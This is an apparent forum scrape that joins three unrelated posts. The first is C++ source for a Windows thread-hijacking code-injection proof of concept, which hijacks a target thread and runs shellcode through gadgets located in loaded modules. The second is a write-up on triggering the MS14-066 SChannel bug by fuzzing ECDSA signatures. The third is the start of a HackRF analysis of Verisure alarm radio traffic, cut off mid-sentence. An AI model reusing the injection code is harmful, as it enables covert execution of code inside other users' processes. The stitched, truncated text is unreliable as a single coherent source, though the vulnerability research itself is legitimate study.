#pragma pack(pop) extern "C" { NTSTATUS NTAPI LdrLoadDll(IN PWCHAR PathToFile OPTIONAL,IN ULONG Flags OPTIONAL,IN PUNICODE_STRING ModuleFileName,OUT PHANDLE ModuleHandle); NTSTATUS NTAPI RtlGetVersion(PRTL_OSVERSIONINFOW lpVersionInformation); NTSTATUS NTAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,IN OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength OPTIONAL); NTSTATUS NTAPI NtQueryInformationProcess(IN HANDLE ProcessHandle,IN PROCESS_INFORMATION_CLASS ProcessInformationClass,OUT PVOID ProcessInformation,IN ULONG ProcessInformationLength,OUT PULONG ReturnLength); NTSTATUS NTAPI NtOpenThread(OUT PHANDLE ThreadHandle,IN ACCESS_MASK AccessMask,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId); NTSTATUS NTAPI NtSuspendThread(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL); NTSTATUS NTAPI NtResumeThread(IN HANDLE ThreadHandle,OUT PULONG SuspendCount OPTIONAL); NTSTATUS NTAPI NtUnmapViewOfSection(IN HANDLE ProcessHandle,IN PVOID BaseAddress ); NTSTATUS NTAPI NtQueueApcThread(IN HANDLE ThreadHandle,IN PIO_APC_ROUTINE ApcRoutine,IN PVOID ApcRoutineContext OPTIONAL,IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,IN ULONG ApcReserved OPTIONAL); NTSTATUS NTAPI NtWriteVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,IN PVOID Buffer,IN ULONG NumberOfBytesToWrite,OUT PULONG NumberOfBytesWritten OPTIONAL); NTSTATUS NTAPI NtAllocateVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN ULONG ZeroBits,IN OUT PULONG RegionSize,IN ULONG AllocationType,IN ULONG Protect); NTSTATUS NTAPI NtReadVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,OUT PVOID Buffer,IN SIZE_T NumberOfBytesToRead,OUT PSIZE_T NumberOfBytesRead OPTIONAL); NTSTATUS NTAPI NtFreeVirtualMemory(IN HANDLE ProcessHandle,IN PVOID *BaseAddress,IN OUT PULONG RegionSize,IN ULONG FreeType); NTSTATUS NTAPI NtCreateSection(OUT PHANDLE SectionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,IN PLARGE_INTEGER MaximumSize OPTIONAL,IN ULONG SectionPageProtection OPTIONAL,IN ULONG AllocationAttributes,IN HANDLE FileHandle OPTIONAL); NTSTATUS NTAPI NtMapViewOfSection(IN HANDLE SectionHandle,IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress OPTIONAL,IN ULONG ZeroBits OPTIONAL,IN ULONG CommitSize,IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,IN OUT PULONG ViewSize,IN SECTION_INHERIT InheritDisposition,IN ULONG AllocationType OPTIONAL,IN ULONG Protect); NTSTATUS NTAPI NtOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK AccessMask,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId); NTSTATUS NTAPI NtClose(IN HANDLE ObjectHandle); NTSTATUS NTAPI NtQueryInformationFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock,OUT PVOID FileInformation,IN ULONG Length,IN FILE_INFORMATION_CLASS FileInformationClass); LPVOID NTAPI RtlAllocateHeap(IN PVOID HeapHandle,IN ULONG Flags,IN ULONG Size); BOOLEAN NTAPI RtlFreeHeap(IN LPVOID HeapHandle,IN ULONG Flags OPTIONAL,IN PVOID HeapBase); LPVOID NTAPI RtlReAllocateHeap(IN PVOID HeapHandle,IN ULONG Flags,IN PVOID MemoryPointer,IN ULONG Size); VOID NTAPI RtlInitUnicodeString(OUT PUNICODE_STRING DestinationString,IN PCWSTR SourceString OPTIONAL); NTSTATUS NTAPI NtOpenSection(OUT PHANDLE SectionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes); NTSTATUS NTAPI NtQueryVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,IN MEMORY_INFORMATION_CLASS MemoryInformationClass,OUT PVOID Buffer,IN ULONG Length,OUT PULONG ResultLength OPTIONAL); BOOLEAN NTAPI RtlDosPathNameToNtPathName_U(IN PCWSTR DosPathName OPTIONAL,OUT PUNICODE_STRING NtPathName,OUT PCWSTR* NtFileNamePart OPTIONAL,OUT PRTL_RELATIVE_NAME_U DirectoryInfo OPTIONAL); NTSTATUS NTAPI NtCreateFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PLARGE_INTEGER AllocationSize OPTIONAL,IN ULONG FileAttributes,IN ULONG ShareAccess,IN ULONG CreateDisposition,IN ULONG CreateOptions,IN PVOID EaBuffer OPTIONAL,IN ULONG EaLength); NTSTATUS NTAPI NtReadFile(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,OUT PVOID Buffer,IN ULONG Length,IN PLARGE_INTEGER ByteOffset OPTIONAL,IN PULONG Key OPTIONAL); NTSTATUS NTAPI LdrGetProcedureAddress(IN HMODULE ModuleHandle,IN PANSI_STRING FunctionName OPTIONAL,IN WORD Oridinal OPTIONAL,OUT PVOID *FunctionAddress); NTSTATUS NTAPI NtGetContextThread(IN HANDLE ThreadHandle,OUT PCONTEXT pContext); NTSTATUS NTAPI NtSetContextThread(IN HANDLE ThreadHandle,IN PCONTEXT Context); NTSTATUS NTAPI RtlWow64GetThreadContext(IN HANDLE ThreadHandle,IN OUT PWOW64_CONTEXT ThreadContext); NTSTATUS NTAPI RtlWow64SetThreadContext(IN HANDLE ThreadHandle,IN PWOW64_CONTEXT ThreadContext); NTSTATUS NTAPI NtProtectVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN OUT PULONG NumberOfBytesToProtect,IN ULONG NewAccessProtection,OUT PULONG OldAccessProtection ); NTSTATUS NTAPI NtAlertResumeThread(IN HANDLE ThreadHandle,OUT PULONG SuspendCount); NTSTATUS NTAPI NtOpenThreadToken(IN HANDLE ThreadHandle,IN ACCESS_MASK DesiredAccess,IN BOOLEAN OpenAsSelf,OUT PHANDLE TokenHandle); NTSTATUS NTAPI NtSetInformationThread(IN HANDLE ThreadHandle,IN THREAD_INFORMATION_CLASS ThreadInformationClass,IN PVOID ThreadInformation,IN ULONG ThreadInformationLength); NTSTATUS NTAPI NtOpenDirectoryObject(OUT PHANDLE DirectoryObjectHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes); NTSTATUS NTAPI NtCreateMutant(OUT PHANDLE MutantHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,IN BOOLEAN InitialOwner); }; NTSTATUS TCHInjection(IN DWORD PID); inject.cpp: #include "inject.h" ULONG FindPattern(LPVOID Memory,SIZE_T MemorySize,LPVOID Pattern,SIZE_T PatternSize) { for(SIZE_T x = 0; (x + PatternSize) < MemorySize; x++) { if(memcmp(&((LPBYTE)Memory)[x],Pattern,PatternSize) == 0) { return x; } } return 0xFFFFFFFF; } NTSTATUS GetTIDFromPID(IN DWORD PID,OUT PDWORD TID) { NTSTATUS NtStatus; LPVOID Buffer; ULONG Size; PSYSTEM_PROCESS_INFORMATION ProcessInfo; ULONG NextEntryOffset; Size = 0x10000; Buffer = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size); while(TRUE) { NtStatus = NtQuerySystemInformation(SystemProcessInformation,Buffer,Size,&Size); if(NT_SUCCESS(NtStatus)) { break; } else if(NtStatus == STATUS_INFO_LENGTH_MISMATCH) { Size += 0x10000; Buffer = HeapReAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Buffer,Size); } else { printf("NtQuerySystemInformation error: %X\n",NtStatus); goto Finish_; } } NextEntryOffset = 0; NtStatus = STATUS_NOT_FOUND; ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)Buffer; do { ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)ProcessInfo + NextEntryOffset); if(ProcessInfo->ProcessId == (HANDLE)PID) { if(ProcessInfo->NumberOfThreads > 0) { *TID = (DWORD)ProcessInfo->Threads[0].ClientId.UniqueThread; NtStatus = STATUS_SUCCESS; break; } } NextEntryOffset = ProcessInfo->NextEntryOffset; }while(NextEntryOffset > 0); Finish_: HeapFree(GetProcessHeap(),0,Buffer); return NtStatus; } NTSTATUS RemoteEnumModules(IN HANDLE hProcess,OUT LPVOID** lpModules,OUT PULONG NumModules) { NTSTATUS NtStatus; PROCESS_BASIC_INFORMATION ProcBasicInfo; PPEB_LDR_DATA LdrData; PLIST_ENTRY ListHeadPtr; PLIST_ENTRY ListEntryPtr; LDR_DATA_TABLE_ENTRY ModuleEntry; LPVOID* ModBaseAddress; ULONG NumOfModules; ULONG HpMemSize; if( (!lpModules) || (!NumModules)) { return STATUS_INVALID_PARAMETER; } NtStatus = NtQueryInformationProcess(hProcess,ProcessBasicInformation,&ProcBasicInfo,sizeof(ProcBasicInfo),NULL); if(!NT_SUCCESS(NtStatus)) { return NtStatus; } NtStatus = NtReadVirtualMemory(hProcess,&((PPEB)ProcBasicInfo.PebBaseAddress)->Ldr,&LdrData,sizeof(LdrData),NULL); if(!NT_SUCCESS(NtStatus)) { return NtStatus; } ListHeadPtr = &LdrData->InLoadOrderModuleList; NtStatus = NtReadVirtualMemory(hProcess,&LdrData->InLoadOrderModuleList.Flink,&ListEntryPtr,sizeof(ListEntryPtr),NULL); if(!NT_SUCCESS(NtStatus)) { return NtStatus; } NumOfModules = 0; HpMemSize = sizeof(LPVOID) * 100; ModBaseAddress = (LPVOID*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,HpMemSize); NtStatus = STATUS_SUCCESS; while (ListEntryPtr != ListHeadPtr) { NtStatus = NtReadVirtualMemory(hProcess,ListEntryPtr,&ModuleEntry,sizeof(ModuleEntry),NULL); if(!NT_SUCCESS(NtStatus)) { HeapFree(GetProcessHeap(),0,ModBaseAddress); return NtStatus; } if(ModuleEntry.DllBase) { if((NumOfModules + 1) * sizeof(LPVOID) >= HpMemSize) { HpMemSize += sizeof(LPVOID) * 100; ModBaseAddress = (LPVOID*)HeapReAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,ModBaseAddress,HpMemSize); } ModBaseAddress[NumOfModules] = ModuleEntry.DllBase; NumOfModules++; } ListEntryPtr = ModuleEntry.InLoadOrderLinks.Flink; } *lpModules = ModBaseAddress; *NumModules = NumOfModules; return NtStatus; } NTSTATUS GetInstructionsAddr(IN HANDLE hProcess,OUT PREMOTE_CODE_STRUCTURE pStruct,LPVOID *EsiField) { typedef struct _RM_CODE { LPBYTE Ptr; ULONG NumBytes; LPVOID* SavePtr; }RM_CODE,*PRM_CODE; NTSTATUS NtStatus; HANDLE hCurrentProcess; LPVOID* ModulesArr; ULONG NumModules; BYTE ModuleHeaders[0x800]; RM_CODE RMCodes[] = { {(LPBYTE)RmCode0,sizeof(RmCode0),&pStruct->RetRmCode0}, {(LPBYTE)RmCode1,sizeof(RmCode1),&pStruct->RetRmCode1}, {(LPBYTE)RmCodeEsi,sizeof(RmCodeEsi),EsiField}, {(LPBYTE)RmCode2,sizeof(RmCode2),&pStruct->RetRmCode2}, {(LPBYTE)RmCode3,sizeof(RmCode3),&pStruct->RetRmCode3}, {(LPBYTE)RmCodeEsi2,sizeof(RmCodeEsi2),&pStruct->PopEsi}, {(LPBYTE)RMCodeEcx,sizeof(RMCodeEcx),&pStruct->PopEcx}}; if(!pStruct) { return STATUS_INVALID_PARAMETER; } NtStatus = RemoteEnumModules(hProcess,&ModulesArr,&NumModules); if(!NT_SUCCESS(NtStatus)) { return NtStatus; } hCurrentProcess = GetCurrentProcess(); for(LONG c = 0; c < sizeof(RMCodes) / sizeof(RMCodes[0]); c++) { NTSTATUS RMCodeFound; RMCodeFound = STATUS_NOT_FOUND; for(ULONG m = 0; m < NumModules; m++) { NtStatus = NtReadVirtualMemory( hProcess, ModulesArr[m], ModuleHeaders, sizeof(ModuleHeaders), NULL); if(!NT_SUCCESS(NtStatus)) { continue; } PIMAGE_DOS_HEADER DOSHeader; PIMAGE_NT_HEADERS NTHeader; PIMAGE_SECTION_HEADER SectionHeader; LPVOID PESectionBaseAddress; LPVOID PESection; ULONG PESectionSize; MEMORY_BASIC_INFORMATION MemBasicInfo; ULONG PatternOff; DOSHeader = (PIMAGE_DOS_HEADER)ModuleHeaders; NTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)DOSHeader + DOSHeader->e_lfanew); SectionHeader = IMAGE_FIRST_SECTION(NTHeader); if((DOSHeader->e_magic == IMAGE_DOS_SIGNATURE) && (NTHeader->Signature == IMAGE_NT_SIGNATURE) && (NTHeader->OptionalHeader.SizeOfHeaders <= sizeof(ModuleHeaders))) { for(ULONG s = 0; s < NTHeader->FileHeader.NumberOfSections; s++) { PESection = NULL; PESectionSize = SectionHeader[s].Misc.VirtualSize; PESectionBaseAddress = PTR_ADD_OFFSET(ModulesArr[m],SectionHeader[s].VirtualAddress); NtStatus = NtQueryVirtualMemory( hProcess, PESectionBaseAddress, MemoryBasicInformation, &MemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION), NULL); if(!NT_SUCCESS(NtStatus)) { continue; } if(!(MemBasicInfo.Protect & PAGE_EXECUTE_READ)) { continue; } NtStatus = NtAllocateVirtualMemory( hCurrentProcess, &PESection, 0, &PESectionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(!NT_SUCCESS(NtStatus)) { continue; } /* Read section */ NtStatus = NtReadVirtualMemory( hProcess, PESectionBaseAddress, PESection, PESectionSize, NULL); if(!NT_SUCCESS(NtStatus)) { goto fmem; } PatternOff = FindPattern( PESection, PESectionSize, RMCodes[c].Ptr, RMCodes[c].NumBytes); if(PatternOff != 0xFFFFFFFF) { NtFreeVirtualMemory( hCurrentProcess, &PESection, &PESectionSize, MEM_RELEASE); *RMCodes[c].SavePtr = PTR_ADD_OFFSET(PESectionBaseAddress,PatternOff); RMCodeFound = STATUS_SUCCESS; goto val_result; } fmem: NtFreeVirtualMemory( hCurrentProcess, &PESection, &PESectionSize, MEM_RELEASE); } } } val_result: if(!NT_SUCCESS(RMCodeFound)) { NtStatus = RMCodeFound; break; } } HeapFree(GetProcessHeap(),0,ModulesArr); return NtStatus; } hSection: Pointer to a variable that receives a handle of the shared section BaseOfView: Pointer to a variable that receives a pointer to the base address of map view SizeOfView: Pointer to a variable that receives the size of view in bytes RemoteAddrOfBeginMark: Pointer to a variable that receives the address of the beginning of the mark in the remote process If the function succeeds, the return value is STATUS_SUCCESS otherwise any NTSTATUS value ------------------------------------------------------------------------------------------------------ This loop walk on the array of names of shared sections, attempts to map the section, check the size page in order to know if there is enough space to write our bytes then looks for a sequence of bytes that have been written in the section in order to know if that section is mapped into the process (alternatively you can list handles of the target process and look for any shared sections) . In other words this function validates the environment of the target process so we can know if possible to continue with our */ NTSTATUS GetSharedSection(HANDLE hTargetProcess,OUT HANDLE* hSection,OUT LPVOID* BaseOfView,OUT PULONG SizeOfView,OUT LPVOID* RemoteAddrOfBeginMark) { NTSTATUS NtStatus; HANDLE hCurrentProcess; LPVOID AllocatedBuffer; ULONG AllocatedSize; UNICODE_STRING SectionName; OBJECT_ATTRIBUTES ObjAttr; HANDLE SectionHandle; LPVOID BaseAddress; ULONG Size; MEMORY_BASIC_INFORMATION MemBasicInfo; LPVOID QueryBaseAddress; LPVOID BeginMark; ULONG BeginMarkOff; if( (!hSection) || (!BaseOfView) || (!SizeOfView) || (!RemoteAddrOfBeginMark)) { return STATUS_INVALID_PARAMETER; } hCurrentProcess = GetCurrentProcess(); AllocatedBuffer = NULL; AllocatedSize = 0x10000; // 64KB if(!NT_SUCCESS(NtStatus = NtAllocateVirtualMemory( hCurrentProcess, &AllocatedBuffer, 0, &AllocatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) { return NtStatus; } for(ULONG s = 0; s < sizeof(SharedSections) / sizeof(SharedSections[0]); s++) { RtlInitUnicodeString(&SectionName,SharedSections[s]); InitializeObjectAttributes(&ObjAttr,&SectionName,0,NULL,NULL); NtStatus = NtOpenSection(&SectionHandle,SECTION_MAP_WRITE | SECTION_MAP_READ,&ObjAttr); if(NT_SUCCESS(NtStatus)) { BaseAddress = NULL; Size = 0; NtStatus = NtMapViewOfSection( SectionHandle, hCurrentProcess, &BaseAddress, 0, 0, NULL, &Size, ViewUnmap, 0, PAGE_READWRITE); if(NT_SUCCESS(NtStatus) || NtStatus == STATUS_IMAGE_NOT_AT_BASE) { NtStatus = NtQueryVirtualMemory( hCurrentProcess, BaseAddress, MemoryBasicInformation, &MemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION), NULL); if(NT_SUCCESS(NtStatus)) { if(sizeof(REMOTE_CODE_STRUCTURE) <= MemBasicInfo.RegionSize) { RtlCopyMemory( PTR_SUB_OFFSET(PTR_ADD_OFFSET(BaseAddress,MemBasicInfo.RegionSize),sizeof(REMOTE_CODE_STRUCTURE)), BegMark, sizeof(BegMark)); QueryBaseAddress = 0; while(NT_SUCCESS(NtQueryVirtualMemory( hTargetProcess, QueryBaseAddress, MemoryBasicInformation, &MemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION), NULL))) { if(MemBasicInfo.Type & MEM_MAPPED) { ULONG IndReadBytes; ULONG NumOfBytes; ULONG ReadB; IndReadBytes = 0; while(IndReadBytes < MemBasicInfo.RegionSize) { ULONG Remaining = MemBasicInfo.RegionSize - IndReadBytes; NumOfBytes = Remaining < AllocatedSize ? Remaining : AllocatedSize; if(!NT_SUCCESS(NtReadVirtualMemory( hTargetProcess, QueryBaseAddress, AllocatedBuffer, NumOfBytes, &ReadB))) { break; } BeginMarkOff = FindPattern( AllocatedBuffer, NumOfBytes, (LPVOID)BegMark, sizeof(BegMark)); if(BeginMarkOff != 0xFFFFFFFF) { BeginMark = PTR_ADD_OFFSET(PTR_ADD_OFFSET(QueryBaseAddress,IndReadBytes),BeginMarkOff); *hSection = SectionHandle; *BaseOfView = BaseAddress; *SizeOfView = Size; *RemoteAddrOfBeginMark = BeginMark; NtStatus = STATUS_SUCCESS; goto Finish_; } IndReadBytes += NumOfBytes; } } QueryBaseAddress = PTR_ADD_OFFSET(QueryBaseAddress,MemBasicInfo.RegionSize); } } } NtUnmapViewOfSection(hCurrentProcess,BaseAddress); } NtClose(SectionHandle); } } Finish_: NtFreeVirtualMemory(hCurrentProcess,&AllocatedBuffer,&AllocatedSize,MEM_RELEASE); return NtStatus; } NTSTATUS TCHInjection(IN DWORD PID) { NTSTATUS NtStatus; OBJECT_ATTRIBUTES ObjAttributes; CLIENT_ID ClientId; HANDLE hProcess; HANDLE hSection; LPVOID SectionBaseOfView; ULONG SectionSizeOfView; LPVOID RemtBeginMark; DWORD ThreadId; HANDLE hThread; ULONG SuspendCount; CONTEXT ThreadContext; REMOTE_CODE_STRUCTURE RemoteCodeStruct; LPVOID rEsi; ClientId.UniqueProcess = (PVOID)PID; ClientId.UniqueThread = NULL; InitializeObjectAttributes(&ObjAttributes,NULL,0,NULL,NULL); NtStatus = NtOpenProcess( &hProcess, PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ, &ObjAttributes, &ClientId); if(!NT_SUCCESS(NtStatus)) { printf("Unable to get a handle to the target process: %X\n",NtStatus); return NtStatus; } NtStatus = GetSharedSection( hProcess, &hSection, &SectionBaseOfView, &SectionSizeOfView, &RemtBeginMark); if(!NT_SUCCESS(NtStatus)) { printf("Unable to get a valid shared section: %X\n",NtStatus); goto Finish_; } NtStatus = GetInstructionsAddr(hProcess,&RemoteCodeStruct,&rEsi); if(!NT_SUCCESS(NtStatus)) { goto Finish_chsc; } RtlCopyMemory(RemoteCodeStruct.BeginningMark,BegMark,sizeof(BegMark)); RtlCopyMemory(RemoteCodeStruct.Shellcode,Code,sizeof(Code)); RtlCopyMemory(RemoteCodeStruct.TittleMsgBox,MsgTittle,sizeof(MsgTittle)); RemoteCodeStruct.CreateThread = GetProcAddress(GetModuleHandleW(TEXT("kernel32")),"CreateThread"); RemoteCodeStruct.MessageBoxW = GetProcAddress(LoadLibraryW(TEXT("user32")),"MessageBoxW"); RemoteCodeStruct.lpAddress = NULL; RemoteCodeStruct.dwSize = sizeof(Code); RemoteCodeStruct.flAllocationType = MEM_COMMIT | MEM_RESERVE; RemoteCodeStruct.flProtect = PAGE_EXECUTE_READWRITE; RemoteCodeStruct.src = PTR_ADD_OFFSET(RemtBeginMark,FIELD_OFFSET(REMOTE_CODE_STRUCTURE,Shellcode)); RemoteCodeStruct.count = sizeof(Code); NtStatus = GetTIDFromPID(PID,&ThreadId); if(!NT_SUCCESS(NtStatus)) { goto Finish_chsc; } ClientId.UniqueProcess = NULL; ClientId.UniqueThread = (PVOID)ThreadId; InitializeObjectAttributes(&ObjAttributes,NULL,NULL,0,NULL); NtStatus = NtOpenThread( &hThread, THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, &ObjAttributes, &ClientId); if(!NT_SUCCESS(NtStatus)) { goto Finish_chsc; } NtStatus = NtSuspendThread(hThread,&SuspendCount); if(!NT_SUCCESS(NtStatus)) { goto Finish_chtd; } /* Resume thread as soon as possible */ RtlZeroMemory(&ThreadContext,sizeof(CONTEXT)); ThreadContext.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER; NtStatus = NtGetContextThread(hThread,&ThreadContext); if(!NT_SUCCESS(NtStatus)) { NtResumeThread(hThread,&SuspendCount); goto Finish_chtd; } RemoteCodeStruct.tc_Eip = ThreadContext.Eip; RemoteCodeStruct._Flags = ThreadContext.EFlags; RemoteCodeStruct._Eax = ThreadContext.Eax; RemoteCodeStruct._Ecx = ThreadContext.Ecx; RemoteCodeStruct._Edx = ThreadContext.Edx; RemoteCodeStruct._Ebx = ThreadContext.Ebx; RemoteCodeStruct._Ebp = ThreadContext.Ebp; RemoteCodeStruct._Esi = ThreadContext.Esi; RemoteCodeStruct._Edi = ThreadContext.Edi; RemoteCodeStruct._Esp = ThreadContext.Esp; RtlCopyMemory(SectionBaseOfView,&RemoteCodeStruct,sizeof(REMOTE_CODE_STRUCTURE)); ThreadContext.Ebp = (DWORD)RemtBeginMark; ThreadContext.Eip = (DWORD)GetProcAddress(GetModuleHandleW(TEXT("kernel32")),"VirtualAlloc"); ThreadContext.Esp = (DWORD)PTR_ADD_OFFSET(RemtBeginMark,FIELD_OFFSET(REMOTE_CODE_STRUCTURE,RetRmCode0)); ThreadContext.Esi = (DWORD)rEsi; ThreadContext.Edi = (DWORD)GetProcAddress(GetModuleHandleW(TEXT("ntdll")),"memcpy"); NtStatus = NtSetContextThread(hThread,&ThreadContext); if(!NT_SUCCESS(NtStatus)) { NtResumeThread(hThread,&SuspendCount); goto Finish_chtd; } NtStatus = NtResumeThread(hThread,&SuspendCount); if(!NT_SUCCESS(NtStatus)) { goto Finish_chtd; } printf("Injection successed \n"); NtStatus = STATUS_SUCCESS; Finish_chtd: NtClose(hThread); Finish_chsc: NtUnmapViewOfSection(GetCurrentProcess(),SectionBaseOfView); NtClose(hSection); Finish_: NtClose(hProcess); return NtStatus; } Sursa: KernelMode.info • View topic - PoC: Code injection via thread hijacking
  23. Triggering MS14-066 Posted November 17, 2014 Research Team Microsoft addressed CVE-2014-6321 this Patch Tuesday, which has been hyped as the next Heartbleed. This vulnerability (actually at least 2 vulnerabilities) promises remote code execution in applications that use the SChannel Security Service Provider, such as Microsoft Internet Information Services (IIS). The details have been scarce. Lets fix that. Looking at the bindiff of schannel.dll, we see a few changed functions, several touching the DTLSCookieManager class and various others. There is at least one bug addressed in DTLSCookieManager, but that one is for a different time. The one everyone is worried about in seems to be in schannel!DecodeSigAndReverse(…). A high level view of the changes to DecodeSigAndReverse(…) are presented below. Here we can see that there is some new logic (grey blocks) added to the middle of the patched function (right side). Added branches are always a good sign. If we zoom in on the patched version, the situation looks even more promising. We can now see that the added logic controls a path to a memcpy (actually two memcpys — they wouldn’t both fit in the screenshot). This is an indication that we are looking in the right place. So how do we get here? Lets look at the paths to this function in the unpatched version of schannel.dll So, it appears as though we need to hit ‘ProcessHandshake’ and then craft a ‘ClientVerifyMessage’ in order to hit the changed code. To accomplish this, we should probably check out the TLS/SSL documentation at MSDN. Given the names of the function in the codepath, it would make sense that we are dealing with a Certificate Verify message which is involved in certificate authentication. If we take a closer look at the unpatched function, we can get a key clue from the lpszStructType parameter in the call to CryptDecodeObject. With a quick trip to MSDN, we can see that this parameter is telling us what kind of structure to expect. In this case we have X509_ECC_SIGNATURE and X509_DSS_SIGNATURE. Picking on the ECC_SIGNATURE, the expected structure is defined on MSDN It appears as though there could be an issue with the size parameter to one of the memcpys, probably related to encoding the certificate. At this point with what we know, the fastest way for us to proceed is to look at this function dynamically (with a debugger). So, we created an ECDSA signed certificate with OpenSSL and setup Microsoft IIS with certificate authentication enabled. We then attached a remote debugger to the LSASS process on the IIS box and breakpointed the ECC_SIGNATURE comparison (cmp ebx, 2F). Surprisingly the breakpoint fired when attempting to authenticate using openssl s_client on the first try! Now that we can hit the bad code, the next step is making something cool happen here. Again, to speed up analysis, we decided to modify OpenSSL to fuzz this code path. In OpenSSL, ECDSA signatures for ‘client verify messages’ are handled in the source file s3_clnt.c. The encoded signatures from the client which end up hitting the CryptDecodeObject(…) call in schannel!DecodeSigAndReverse(…) come from a function called ECDSA_sign(…). If we wander down the function ssl3_send_client_verify(…) which eventually calls ECDSA_sign(…), we get to this block which actually handles the ECDSA signing for our client verify message: To clarify this call, the function prototype for ECDSA_sign is as follows: int ECDSA_sign(int type, const unsigned char *dgst, int dgstlen, unsigned char *sig, unsigned int *siglen, EC_KEY *eckey); Reading the documentation for that function we learn that “…The DER encoded signatures is stored in sig and it’s length is returned in sig_len.” Therefore, if we were to use openssl s_client to authenticate to our IIS box and then were to single step through schannel!DecodeSigAndReverse(…), we would see the contents of ‘p’ from the above call to ECDSA_sign(…) being handed to CryptDecodeObject(…) in schannel, which would then be translated and handed off to our bad memcpy block. So, all we really need to do is to edit s3_clnt.c to randomly change one byte in ‘p’ to a random value before sending our Certificate Verify message back to IIS over and over again and wait until something cool happens. And if we wait long enough, it will – we will get a crash in memcpy. Further analysis and exploitation are left as an exercise to the reader. Sursa: Triggering MS14-066 | BeyondTrust
  24. Reverse Engineer a Verisure Wireless Alarm part 1 – Radio Communications by foip on November 16th, 2014 1. Introduction Verisure is a supplier of wireless home alarms and connected services for the home. A Verisure setup can be composed of multiple devices, sensors and/or detectors such as Motion detectors with camera, Magnetic contacts for doors or Windows, Smoke detectors, Keypads, Sirens, etc. Each component of the setup communicates using wireless technology with the central gateway called “Vbox”, it-self monitored by Verisure agents through the Internet and/or 3G connection. As a Verisure customer, I was curious to get a clear view of the design and security measures implemented by the manufacturer. I therefore decided to buy a testing Kit on eBay (120 Euros) to open it and starting an exciting journey inside the boxes. This post is the first part of my Verisure story and aims to observe radio communications between the multiple devices of the alarm. In other words, we will translate the radio communication into binary messages. Please note that Verisure is the new name of Securitas-Direct. You may potentially find both names in my scripts and screenshots. 2. Discovering frequency and modulation We know that 433 MHz and 868 MHz are popular bands for such equipments. Starting our favorite spectrum analyzer (GQRX in this case) confirmed our thoughts by showing some strong pulses while we were pushing random keys on the keypad alarm, located next to the HackRF. In order to get a clear view of the signal, samples were recorded using hackrf_transfer tool and then opened into baudline: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24[/TD] [TD=class: code]$ hackrf_transfer -s 2000000 -f 869000000 -a 0 -r /tmp/hackrf_verisure_s2000000_f869000000_01.iq call hackrf_sample_rate_set(2000000 Hz/2.000 MHz) call hackrf_baseband_filter_bandwidth_set(1750000 Hz/1.750 MHz) call hackrf_set_freq(869000000 Hz/869.000 MHz) call hackrf_set_amp_enable(0) Stop with Ctrl-C 3.9 MiB / 1.000 sec = 3.9 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 4.2 MiB / 1.000 sec = 4.2 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 4.2 MiB / 1.000 sec = 4.2 MiB/second ^CCaught signal 2 2.1 MiB / 0.540 sec = 3.9 MiB/second User cancel, exiting... Total time: 8.54128 s hackrf_stop_rx() done hackrf_close() done hackrf_exit() done fclose(fd) done exit[/TD] [/TR] [/TABLE] Nice! Zooming into the signal shows 2 spikes which means that we are probably in front of a 2-FSK modulated signal. 3. Chipsets and datasheets Before going further, it could be interesting to learn a bit more about the micro-controller used by the devices. As you will see, this information is really helpful since it gives us some clues about the potential modulation, ciphering, data encoding, etc. Opening a magnetic contact revealed a CC1110-F16 chip. Briefly, the datasheet informs us about the following capabilities of the chip: Modulation: 2-FSK, GFSK, MSK, ASK, and OOK 128-bit AES supported in hardware coprocessor (so if data looks encrypted, we probably already know which cipher suite is in use) 8051 MCU architecture (needed later for IDA 